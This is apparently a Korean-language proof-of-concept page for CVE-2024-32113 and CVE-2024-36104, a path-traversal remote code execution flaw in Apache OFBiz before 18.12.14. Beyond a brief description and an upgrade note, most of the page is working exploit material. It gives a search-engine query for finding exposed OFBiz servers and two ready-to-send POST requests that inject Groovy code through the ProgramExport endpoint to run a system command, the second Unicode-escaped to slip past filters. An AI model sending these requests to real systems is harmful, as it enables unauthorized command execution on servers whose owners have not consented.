
Apache OFBIZ 경로 탐색으로 인한 RCE POC[CVE-2024-32113 & CVE-2024-36104]
Apache OFBiz 경로 탐색으로 인한 RCE 익스플로잇.
Apache OFBiz에는 제한된 디렉터리의 경로명을 제대로 제한하지 못하는('경로 탐색') 취약점이 존재합니다. 이 문제는 18.12.14[미포함] 이전 버전의 Apache OFBiz에 영향을 줍니다. 사용자는 이 문제를 해결한 버전 18.12.14로 업그레이드하는 것이 권장됩니다.
app="Apache_OFBiz"
POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:8443
groovyProgram=throw+new+Exception('id'.execute().text);
유니코드로
id를 실행합니다.
POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:8443
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
